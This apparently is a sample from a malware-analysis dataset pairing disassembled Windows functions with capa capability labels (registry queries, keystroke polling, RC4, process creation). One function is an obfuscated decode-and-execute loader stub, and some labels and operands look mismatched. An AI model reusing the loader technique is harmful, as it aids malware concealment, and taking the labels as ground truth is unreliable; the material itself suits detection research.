joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448da0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
push eax
call fcn.0041eae0
add eax, 0x10
mov dword [esi + 4], eax
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
push eax
call fcn.0041eae0
add eax, 0x10
add esp, 8
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 5
jne 0x448de1
xor eax, eax
jmp 0x448df2
mov eax, dword [ebp + 0x14]
neg eax
sbb eax, eax
and eax, 0xffffff00
add eax, 0x200
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x448e14
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x448e33
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
pop esi
pop ebp
ret 0x10

Function at 0x44e930
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
sub eax, 0x10
push edi
mov edi, ecx
mov dword [ebp - 4], 0x104
mov edx, dword [eax + 8]
mov ecx, 1
sub ecx, dword [eax + 0xc]
sub edx, 0x104
or ecx, edx
jge 0x44e96a
push 0x104
mov ecx, esi
call fcn.0043a120
mov eax, dword [esi]
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [edi]
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push eax
mov eax, dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x44e9a1
mov edx, dword [ebp - 4]
push edx
mov ecx, esi
call fcn.00439340
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi]
cmp dword [eax - 8], 0
jl 0x44e9c1
mov dword [eax - 0xc], 0
mov eax, dword [esi]
xor ecx, ecx
pop edi
mov word [eax], cx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
push 0x80070057
call fcn.00414840
int3
Function at 0x45a300
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x594ccc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov dword [ebp - 0x210], 1
call fcn.0051d250
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x210]
push eax
push str.Path
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths360zip.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x214], 0x208
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], 0
test eax, eax
jne 0x45a3a9
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov word [esi + 4], cx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45a390
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
jmp 0x45a3b5
xor eax, eax
push eax
mov word [esi + 4], ax
push 0x576bd0
mov ecx, esi
call fcn.0044fc50
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0051d23b
mov esp, ebp
pop ebp
ret

Function at 0x45a3d0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x594ccc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.0051d250
lea ecx, [ebp - 0x228]
push ecx
call fcn.0045a300
add esp, 0x10
cmp dword [eax + 0x18], 8
jb 0x45a410
mov eax, dword [eax + 4]
jmp 0x45a413
add eax, 4
push str.360zip.exe
push eax
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmp dword [ebp - 0x210], 8
jb 0x45a43e
mov eax, dword [ebp - 0x224]
push eax
call fcn.0051d230
add esp, 4
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x45a494
cmp dword [0x593de4], 0
jne 0x45a46d
mov edx, dword [0x596704]
push edx
mov ecx, 0x5939b8
call fcn.00439990
test eax, eax
je 0x45a494
push 0
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0x5939b8
call fcn.004f58f0
test eax, eax
je 0x45a494
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
Function at 0x45a4b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x594ccc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov dword [ebp - 0x210], 1
call fcn.0051d250
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x210]
push eax
push str.UninstallString
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallVPNMaster
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x214], 0x208
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], 0
test eax, eax
jne 0x45a559
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov word [esi + 4], cx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45a540
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
jmp 0x45a565
xor eax, eax
push eax
mov word [esi + 4], ax
push 0x576bd0
mov ecx, esi
call fcn.0044fc50
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0051d23b
mov esp, ebp
pop ebp
ret

Function at 0x45a640
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x594ccc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov dword [ebp - 0x210], 1
call fcn.0051d250
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x210]
push eax
push str.UninstallString
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallKingsoft_Office
push SysReAllocString
mov dword [ebp - 0x214], 0x208
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], 0
test eax, eax
jne 0x45a6e9
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov word [esi + 4], cx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45a6d0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
jmp 0x45a6f5
xor eax, eax
push eax
mov word [esi + 4], ax
push 0x576bd0
mov ecx, esi
call fcn.0044fc50
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
Function at 0x4c2a80
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x594ccc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
lea ecx, [ebp - 0x88]
push ecx
push ebx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x90], 0
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
jne 0x4c2ace
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
push edi
push esi
call fcn.0051e9bc
mov edi, eax
add esp, 4
test edi, edi
jne 0x4c2aef
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x4c2b89
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0x8c]
push eax
push str.VarFileInfoTranslation
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4c2b89
mov esi, dword [ebp - 0x98]
test esi, esi
je 0x4c2b89
mov eax, dword [ebp - 0x8c]
movzx ecx, word [eax + 2]
movzx edx, word [eax]
push ecx
push edx
push 0x561450
lea eax, [ebp - 0x84]
push 0x80
push eax
call fcn.00436fa0
add esp, 0x14
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0x84]
push eax
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4c2b89
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp + 0x10]
push ecx
push edx
push esi
call int.00436bb0
mov esi, 1
test eax, eax
jge 0x4c2b8f
mov esi, dword [ebp - 0x90]
push edi
call fcn.0051e865
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051d23b
mov esp, ebp
pop ebp
ret
Function at 0x4ca180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
mov edi, 1
mov esi, ecx
mov dword [ebp - 4], edi
jne 0x4ca221
lea eax, [ebp - 4]
push eax
push 0
push ecx
mov ecx, esp
push str.UserExperience
call fcn.00464b60
push ecx
mov ecx, esp
push str.SOFTWARE360TotalSecurityExperience
call fcn.00464b60
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x14]
call fcn.00448da0
push eax
call int.00438100
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
add esp, 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4ca1f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4ca211
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [ebp - 4], edi
je 0x4ca221
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ebx, [esi + 0x4c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x599458]
mov eax, dword [edx + 0xc]
mov ecx, 0x599458
call eax
mov edx, dword [ebp + 8]
add eax, 0x10
mov dword [ebp + 0xc], eax
test edx, edx
jne 0x4ca24c
xor eax, eax
jmp 0x4ca260
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4ca251
sub eax, edi
sar eax, 1
push eax
push edx
lea ecx, [ebp + 0xc]
call fcn.00449eb0
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [esi + 0x2c]
call fcn.004c8ee0
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4ca295
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call ebx
cmp dword [esi + 4], 0
mov dword [esi + 0x10], 0
jne 0x4ca2d7
lea edi, [esi + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 4], 0
jne 0x4ca2d4
push 0
push 0
push esi
push 0x4c1ae0
push 0
push 0
call fcn.005247af
add esp, 0x18
mov dword [esi + 4], eax
push edi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov dword [esi + 0x10], 0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4ca2f2
push 0
push 1
push eax
call edi
mov dword [esi + 0x10], 0
mov esi, dword [esi + 0xc]
test esi, esi
je 0x4ca307
push 0
push 1
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403e59
pop dword [ebp - 0x14]
mov eax, 0x181a0016
add eax, 0xe8263e43
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf9149140
add dword [ebp - 0x24], 0x553db40b
mov dword [ebp - 0x20], 0x18528bab
add dword [ebp - 0x20], 0x19e0c09a
mov dword [ebp - 0x1c], 0x3ba0f1a4
sub dword [ebp - 0x1c], 0xef54ad76
mov dword [ebp - 0x18], 0x76ce426
add dword [ebp - 0x18], 0xf8931bda
lea eax, [ebp - 0x24]
push eax
mov eax, 0xe22c9026
add eax, 0x1e13f066
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xc80ff5cc
add dword [ebp - 0x24], 0xac62738a
mov dword [ebp - 0x20], 0xaa2d10
add dword [ebp - 0x20], 0x40c23465
mov dword [ebp - 0x1c], 0xc4bf7d14
sub dword [ebp - 0x1c], 0x615010a8
mov dword [ebp - 0x18], 0xf73ca8ce
sub dword [ebp - 0x18], 0xf73ca8ce
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x51c466da
sub eax, 0x5183e606
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x37355
push 0
call eax
mov ecx, 0xfbbe5060
add ecx, 0x441f978
mov edx, eax
mov ebx, 0x8bcf8211
sub ebx, 0x8b8e7211
add ebx, dword [ebp - 0x14]
mov esi, 0xc03fdf01
add esi, 0x43fb5137
xor dword [ebp - 0x10], ebx
mov edi, dword [ebx]
xor dword [ebp - 8], ecx
add edi, esi
xor dword [ebp - 4], edi
mov dword [edx], edi
xor dword [ebp - 4], edx
add edx, 0xd13e52f7
sub edx, 0xd13e52f3
add ebx, 4
loop 0x403f7b
add eax, 0x73df3823
sub eax, 0x73de1df0
xor ebx, ebx
add ebx, eax
add eax, 0x48390af2
sub eax, 0x48390aed
mov ecx, 0x749946d2
add ecx, 0x8ba6b92e
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x43a950
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4fa10b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004edc07
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x43a9d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004eab46
mov eax, dword [eax]
push 0x5fdd40
push eax
call fcn.004dac74
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ede92
test bl, bl
je 0x43a9d2
push 0x5fdd40
lea ecx, [esp + 0xc]
call fcn.004ee222
push 0x5fdd4c
lea ecx, [esp + 0xc]
call fcn.004ee222
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x43aa0e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ede92
jmp 0x43aad9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x43aa92
lea edx, [esp + 0x7c]
push 0x5fdd48
push edx
call fcn.004dac74
add esp, 8
test eax, eax
je 0x43aa92
lea eax, [esp + 0x7c]
push 0x5fdd44
push eax
call fcn.004dac74
add esp, 8
test eax, eax
je 0x43aa92
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x43aa22
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ede92
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x43b2d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x43b332
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x43b340
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4fa18b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x617cd8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x43b478
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x43b3a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ede92
xor eax, eax
jmp 0x43b4ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004edfcf
push esi
lea ecx, [esp + 0xc]
call fcn.004ee25e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5fdd80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x43b4cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0043b2d0
test eax, eax
jne 0x43b4cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0043b2d0
test eax, eax
jne 0x43b4cd
lea eax, [esp + 0x14]
push 0x5fdd5c
push eax
call fcn.004dbdc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x43b4ac
lea ecx, [esp + 0x14]
push 0x5fdd58
push ecx
call fcn.004dbd40
mov esi, eax
add esp, 8
test esi, esi
jne 0x43b4ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x43b4af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004edf7f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x43b3be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ede92
xor eax, eax
jmp 0x43b4ef
mov byte [esi], 0
push 0x5fdd54
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ede92
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x44e1e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x44e24e
cmp si, 0x69
ja 0x44e24e
add esi, 0xffd0
cmp si, 0x11
je 0x44e21e
push 0x11
call edi
test ax, ax
jge 0x44e21e
or esi, 0x2000
cmp si, 0x10
je 0x44e233
push 0x10
call edi
test ax, ax
jge 0x44e233
or esi, 0x4000
cmp si, 0x12
je 0x44e248
push 0x12
call edi
test ax, ax
jge 0x44e248
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x44e25b
mov esi, 0xbd
jmp 0x44e20f
cmp si, 0x6e
jne 0x44e268
mov esi, 0xbe
jmp 0x44e20f
cmp si, 0x6f
jne 0x44e209
mov esi, 0xbf
jmp 0x44e20f

Function at 0x44fc50
Capabilities:
Read file on windows
Read pipe

Disassembly:
sub esp, 0x404
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push esi
mov esi, dword [esp + 0x414]
push edi
xor edi, edi
lea eax, [esp + 0x10]
push edi
push eax
push edi
push edi
push edi
push esi
mov dword [esp + 0x28], edi
call ebp
test eax, eax
je 0x44fcc0
cmp dword [esp + 0x10], edi
je 0x44fccd
lea ecx, [esp + 0x10]
push edi
push ecx
lea edx, [esp + 0x1c]
push 0x400
push edx
push esi
mov dword [esp + 0x24], edi
call ebx
test eax, eax
je 0x44fcc0
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x44fccd
mov ecx, dword [esp + 0x41c]
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00433660
jmp 0x44fc6f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x404
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x404
ret

Function at 0x450050
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x628688]
xor edx, edx
cmp eax, edx
jne 0x450076
xor eax, eax
mov byte [eax + 0x628588], al
inc eax
cmp eax, 0x100
jl 0x45005e
mov dword [0x628688], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x628588
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x450107
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4500da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4500a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x450180
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4501d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4501ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x457220
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4573b8
cmp ebp, ebx
jle 0x4573b8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x45727e
dec eax
or eax, 0xfffffff8
inc eax
je 0x457285
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x457294
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x45729b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004edbd3
add esp, 4
cmp eax, ebx
je 0x4572bc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004edbd3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4573ae
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x457395
mov al, byte [edx]
cmp al, 0xc0
jbe 0x457381
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x457376
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x457384
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x457384
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x457320
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x457311
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret